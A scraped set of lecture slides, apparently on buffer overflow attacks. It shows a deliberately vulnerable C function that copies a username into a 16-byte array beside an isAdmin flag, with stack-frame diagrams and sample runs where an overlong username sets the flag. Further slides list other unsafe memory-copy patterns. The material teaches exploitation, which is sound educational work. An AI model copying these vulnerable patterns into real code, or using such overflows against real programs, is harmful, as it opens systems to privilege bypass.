Intel Architecture Memory Layout C Arrays · Buffer Overflow Attack - Computerphile . Title:...

20

Transcript of Intel Architecture Memory Layout C Arrays · Buffer Overflow Attack - Computerphile . Title:...

Page 1: Intel Architecture Memory Layout C Arrays · Buffer Overflow Attack - Computerphile . Title: PowerPoint Presentation Author: Dobin Rutishauser Created Date: 3/9/2017 9:26:22 PM ...
Page 2: Intel Architecture Memory Layout C Arrays · Buffer Overflow Attack - Computerphile . Title: PowerPoint Presentation Author: Dobin Rutishauser Created Date: 3/9/2017 9:26:22 PM ...

Intel Architecture

Shellcode

Debugging

Memory Layout

Remote Exploit

Function Calls

C Arrays

Assembler

Page 3: Intel Architecture Memory Layout C Arrays · Buffer Overflow Attack - Computerphile . Title: PowerPoint Presentation Author: Dobin Rutishauser Created Date: 3/9/2017 9:26:22 PM ...
Page 4: Intel Architecture Memory Layout C Arrays · Buffer Overflow Attack - Computerphile . Title: PowerPoint Presentation Author: Dobin Rutishauser Created Date: 3/9/2017 9:26:22 PM ...
Page 5: Intel Architecture Memory Layout C Arrays · Buffer Overflow Attack - Computerphile . Title: PowerPoint Presentation Author: Dobin Rutishauser Created Date: 3/9/2017 9:26:22 PM ...

# ./challenge10 <username> <password>

# ./challenge10 someusername somepassword

You are not admin.

Lame.

Page 6: Intel Architecture Memory Layout C Arrays · Buffer Overflow Attack - Computerphile . Title: PowerPoint Presentation Author: Dobin Rutishauser Created Date: 3/9/2017 9:26:22 PM ...

void handleData(char *username, char *password) {

int isAdmin = 0;

char firstname[16];

isAdmin = checkPassword(password);

strcpy(firstname, username);

if(isAdmin > 0) {

printf("You ARE admin!");

} else {

printf("You are not admin.\nLame.\n");

}

}

Page 7: Intel Architecture Memory Layout C Arrays · Buffer Overflow Attack - Computerphile . Title: PowerPoint Presentation Author: Dobin Rutishauser Created Date: 3/9/2017 9:26:22 PM ...

const char *adminHash = "$6$saaaaalty$cjw9qyA..";

int checkPassword(char *password) {

char *hash;

hash = crypt(password, "$6$saaaaalty");

if (strcmp(hash, adminHash) == 0) {

return 1;

} else {

return 0;

}

}

Page 8: Intel Architecture Memory Layout C Arrays · Buffer Overflow Attack - Computerphile . Title: PowerPoint Presentation Author: Dobin Rutishauser Created Date: 3/9/2017 9:26:22 PM ...

&username

SIP

SFP

isAdmin

pop push

Stack Frame

<handleData>

&password

firstname[16]

Page 9: Intel Architecture Memory Layout C Arrays · Buffer Overflow Attack - Computerphile . Title: PowerPoint Presentation Author: Dobin Rutishauser Created Date: 3/9/2017 9:26:22 PM ...

char firstname[16] isAdmin

AAAA AAAA AAAA AAAA 0

Write up

Page 10: Intel Architecture Memory Layout C Arrays · Buffer Overflow Attack - Computerphile . Title: PowerPoint Presentation Author: Dobin Rutishauser Created Date: 3/9/2017 9:26:22 PM ...

char firstname[16] isAdmin

AAAA AAAA AAAA AAAA B

Write up

Page 11: Intel Architecture Memory Layout C Arrays · Buffer Overflow Attack - Computerphile . Title: PowerPoint Presentation Author: Dobin Rutishauser Created Date: 3/9/2017 9:26:22 PM ...

void handleData(char *username, char *password) {

int isAdmin = 0;

char firstname[16];

(0)

isAdmin = checkPassword(password);

(1)

strcpy(firstname, username);

(2)

if(isAdmin > 0) {

printf("You ARE admin!");

} else {

printf("You are not admin.\nLame.\n");

}

}

Page 12: Intel Architecture Memory Layout C Arrays · Buffer Overflow Attack - Computerphile . Title: PowerPoint Presentation Author: Dobin Rutishauser Created Date: 3/9/2017 9:26:22 PM ...

char firstname[16] isAdmin

<undefined> <undef> 0

<undefined> 0x00000000 1

AAAAAAAAAAAAAAAAAAAAA 0x00000000 2

AAAAAAAAAAAAAAAAAAAAA 0x00000041 2

Page 13: Intel Architecture Memory Layout C Arrays · Buffer Overflow Attack - Computerphile . Title: PowerPoint Presentation Author: Dobin Rutishauser Created Date: 3/9/2017 9:26:22 PM ...

AAAAAAAAAAAAAAA 0x00 0x00 0x00 0x00 2

AAAAAAAAAAAAAAA A 0 0 0 2

AAAAAAAAAAAAAAA 0x41 0x00 0x00 0x00 2

Page 14: Intel Architecture Memory Layout C Arrays · Buffer Overflow Attack - Computerphile . Title: PowerPoint Presentation Author: Dobin Rutishauser Created Date: 3/9/2017 9:26:22 PM ...

./challenge1 compass superpassword

You are not admin.

./challenge1 0123456789012345679012345678 test

You are not admin.

./challenge1 0123456789012345679012345678A test

You ARE admin!

isAdmin: 0x41

./challenge1 0123456789012345679012345678AB test

You ARE admin!

isAdmin: 0x4241

Page 15: Intel Architecture Memory Layout C Arrays · Buffer Overflow Attack - Computerphile . Title: PowerPoint Presentation Author: Dobin Rutishauser Created Date: 3/9/2017 9:26:22 PM ...
Page 16: Intel Architecture Memory Layout C Arrays · Buffer Overflow Attack - Computerphile . Title: PowerPoint Presentation Author: Dobin Rutishauser Created Date: 3/9/2017 9:26:22 PM ...

buf = malloc(1024);

strcpy(buf, user_supplied)

buf = (char **) malloc(BUF_SIZE);

while (user_buf[i] != 0) {

buf[i] = malloc(strlen(user_buf[i]) + 1);

i++

}

Page 17: Intel Architecture Memory Layout C Arrays · Buffer Overflow Attack - Computerphile . Title: PowerPoint Presentation Author: Dobin Rutishauser Created Date: 3/9/2017 9:26:22 PM ...

memcpy(

array[user_supplied_int],

user_supplied_buffer,

user_supplied_int2)

buf = malloc(strlen(user_buf + 5));

strcpy(buf, user_buf);

Page 18: Intel Architecture Memory Layout C Arrays · Buffer Overflow Attack - Computerphile . Title: PowerPoint Presentation Author: Dobin Rutishauser Created Date: 3/9/2017 9:26:22 PM ...
Page 19: Intel Architecture Memory Layout C Arrays · Buffer Overflow Attack - Computerphile . Title: PowerPoint Presentation Author: Dobin Rutishauser Created Date: 3/9/2017 9:26:22 PM ...